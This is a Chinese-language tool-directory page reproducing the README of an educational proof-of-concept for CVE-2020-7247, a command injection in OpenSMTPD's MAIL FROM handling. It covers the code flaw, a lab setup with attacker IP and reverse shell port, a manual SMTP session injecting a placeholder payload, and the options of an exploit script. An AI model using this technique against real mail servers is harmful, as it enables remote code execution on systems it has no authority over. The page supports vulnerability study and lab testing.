Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-7247-POC — CVE-2020-7247 的概念验证(PoC),仅供教育目的使用。 | Kitploit
工具/GitHubGitHub/simonschoeni/cve-2020-7247-poc
漏洞分析漏洞利用渗透测试学习与教育Payload 开发电子邮件安全
GitHubsimonschoeni/cve-2020-7247-poc

CVE-2020-7247-POC

CVE-2020-7247 的概念验证(PoC),仅供教育目的使用。

查看仓库
234年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
  • 前言
  • 关于该漏洞的关键事实
  • 安装存在漏洞的服务器
    • 配置
    • 环境免责声明
  • 漏洞利用
    • 手动利用
    • 脚本化利用

前言

本仓库旨在为在受控的私有环境中搭建并利用 CVE-2020-7247 提供基础。所有公开的代码和配置仅用于测试此漏洞,不得用于攻击不属于您自己或未经授权利用的系统。本仓库所有者不对第三方使用这些工具所造成的行为负责。

关于该漏洞的关键事实

代码中的主要问题在于邮件验证无法正常工作。它允许在 MAIL FROM 和 RCPT TO 字段中传递潜在危险的字符。
然后,如果邮件地址的本地部分无效,它会被视为有效,因为代码将域名部分附加到它上面,并在之后将其解释为有效。这允许攻击者执行任意代码。

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

为了安全起见,代码应如下所示:

root@kitploit:~
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236
2237         return (1);
2238 }

Opensmtpd 随后会执行所谓的 MDA 命令。该命令用于投递邮件。它看起来如下:

root@kitploit:~
asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

在这里你可能已经看到了问题。mbox.from 是发件人地址,完全由攻击者控制。
然而,攻击者只能使用 shellcode 中不在以下列表中的字符:!#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
完整披露见此处

安装存在漏洞的服务器

您可以自由选择运行该服务器的发行版。我在 Ubuntu 18.04 LTS 上进行了测试。
执行 chmod +x setup.sh 使安装脚本可执行。您可以使用普通用户运行它,因为我只在需要的地方在脚本中加入了 sudo 权限。(当然,您的用户必须是 sudoer)
安装脚本将为 smtpd 本身安装所有必需的依赖项,并将配置复制到相应的位置。
将安装 Opensmtpd 6.6.1。
如果您需要手动运行 openstmpd,或者脚本出现错误,请执行以下命令:

root@kitploit:~
cd /usr/local/sbin
sudo smtpd
OR 
sudo smtpd -dv for debugging output

配置

本仓库中的配置仅用于本地测试。它们不包含外部域/高级配置。
aliases 和 smtpd.conf 是设置此服务器所需的两个配置文件。您可以根据需要自由更改它们。请记住,该配置是为我的测试服务器准备的。我的服务器名是 ase(smtpd.conf 中的 @ase 指令),我的用户名是 ase(aliases 用户配置)。
您必须将 smtpd.conf 中的 <YOUR IP> 替换为您服务器的 IP。否则 smtpd 将无法启动。

环境免责声明

如果您在此环境中遇到任何 IP 地址和端口,以下是我所使用的环境的一些关键信息,以便您相应地进行更改:

  • 服务器名称:ase
  • 用户名:ase
  • SMTPD 服务器 IP:192.168.1.40
  • SMTPD 端口:25
  • 攻击者 IP:192.168.1.31
  • 反向 shell 端口:1337

漏洞利用

提供的利用程序使用 Python 3.x。它依赖 pwn。要使用此漏洞利用程序,您需要使用 pip3 install pwntools 安装 pwntools。
基本上,该利用程序会自动利用漏洞,无需用户交互。不过,也可以不使用 python 脚本而手动完成利用。

手动利用

如前所述,可以在不使用提供的 python 脚本的情况下执行利用程序。您需要手动完成 SMTP 流程。可以使用 netcat 或 telnet 来做到这一点。
以下是一个手动操作的示例:

root@kitploit:~
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery

脚本化利用

您也可以使用提供的脚本。可用的参数如下:

  • --targetHost 指定目标,为必填项。
  • --targetPort 指定目标端口,为必填项。
  • --customCommand 指定要注入的命令。

shellcode.py 作为远程 shell 代码外观的示例。 \

漏洞利用演示

下载工具